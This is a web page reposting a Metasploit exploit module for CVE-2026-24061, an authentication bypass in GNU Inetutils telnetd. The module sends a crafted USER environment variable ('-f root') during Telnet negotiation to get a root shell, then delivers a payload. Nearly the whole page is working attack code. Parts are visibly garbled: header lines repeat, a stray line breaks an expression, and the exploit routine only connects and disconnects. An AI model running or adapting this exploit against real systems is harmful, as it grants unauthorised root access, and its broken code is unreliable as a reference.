Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

GNU Inetutils Telnet Authentication Bypass
GNU Inetutils Telnet Authentication Bypass
GNU Inetutils Telnet Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# GNU Inetutils Telnet Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Capture

NEW_ENVIRON_IS = "\x00"
NEW_ENVIRON_SEND = "\x01"
NEW_ENVIRON_VAR = "\x00"
NEW_ENVIRON_VALUE = "\x01"
SPACE = "\x20"
ZERO = "\x00"
FF = "\xff"

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',
'Description' => %q{
The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in
versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which
allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.
Environment variables can be sent as sub-options and it's the USER environment variable which introduces the
authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd
service during authentication, the variable gets appended without proper sanitization to an execv call to the
/usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit
sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.
},
'Author' => [
'jheysel-r7', # Metasploit module
'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery
],
'References' => [
['CVE', '2026-24061'],
['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup
['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],
['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
],
'DisclosureDate' => '2026-01-26', # Python PoC (TCP)
'License' => MSF_LICENSE,
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
[ 'Automatic', {} ]
],
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.04
'Stability' => [CRASH_SAFE],
'SideEffects' => []
}
)
)

register_options([
Opt::RPORT(23),
OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),
OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),
OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])
])
end

def recv_telnet(fd, timeout)
data = ''
bytes_to_send = ''

begin
data = fd.get_once(-1, timeout)
return nil if data.blank?

data_string = telnet_bytes_to_names(data)
vprint_status('Incoming Bytes: ' + data_string)

if @client_sends == 0
bytes_to_send =
IAC + WILL + OPT_AUTHENTICATION +
IAC + DO + OPT_SGA +
IAC + WILL + OPT_TTYPE +
IAC + WILL + OPT_NAWS +
IAC + WILL + OPT_TSPEED +
IAC + WILL + OPT_LFLOW +
IAC + WILL + OPT_LINEMODE +
IAC + WILL + OPT_NEW_ENVIRON +
IAC + DO + OPT_STATUS
elsif @client_sends == 1
bytes_to_send =
IAC + DO + OPT_AUTHENTICATION +
IAC + DONT + OPT_ENCRYPT +
IAC + WONT + OPT_XDISPLOC +
IAC + WONT + OPT_OLD_ENVIRON
elsif @client_sends == 2

# For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html
# The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary
linemode_slc =
"\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \
"\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \
"\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \
"\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF

bytes_to_send =
IAC + SB + OPT_AUTHENTICATION +
ZERO + ZERO + ZERO +
IAC + SE +
IAC + SB + OPT_NAWS +
"\x00\x7e" + "\x00\x3d" +
IAC + SE +
IAC + SB + OPT_LINEMODE +
linemode_slc +
IAC + SE +
IAC + DO + OPT_SGA +
IAC + SB + OPT_LINEMODE +
"\x01\x14" +
IAC + SE
IAC + SE
elsif @client_sends == 3
print_status('Sending authentication bypass...')
bytes_to_send =
IAC + SB + OPT_TSPEED +
NEW_ENVIRON_IS +
"#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +
IAC + SE +
IAC + SB + OPT_NEW_ENVIRON +
NEW_ENVIRON_IS +
NEW_ENVIRON_VAR + 'USER' +
NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"
IAC + SE +
IAC + SB + OPT_TTYPE +
NEW_ENVIRON_IS +
datastore['TERMINAL_TYPE'] +
IAC + SE
elsif @client_sends == 4
bytes_to_send = IAC + WONT + OPT_ECHO
elsif @client_sends == 5
bytes_to_send = IAC + DO + OPT_ECHO +
IAC + WILL + OPT_BINARY +
IAC + WONT + OPT_LINEMODE
elsif @client_sends == 6
print_status('Sending payload...')
bytes_to_send = payload.encoded + "\x0d\x0a"
end

if datastore['VERBOSE']
if @client_sends == 6
vprint_status('Outgoing Bytes: ' + bytes_to_send)
else
vprint_status('Outgoing Bytes: ' + telnet_bytes_to_names(bytes_to_send))
end
end

fd.write(bytes_to_send) unless bytes_to_send.empty?

@trace << data
@recvd << data
fd.flush
@client_sends += 1
rescue ::EOFError, ::Errno::EPIPE => e
fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")
end

data
end

def exploit
@client_sends = 0
print_status('Connecting to telnet service... ')
connect
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
ensure
disconnect
end
end
Social Media Share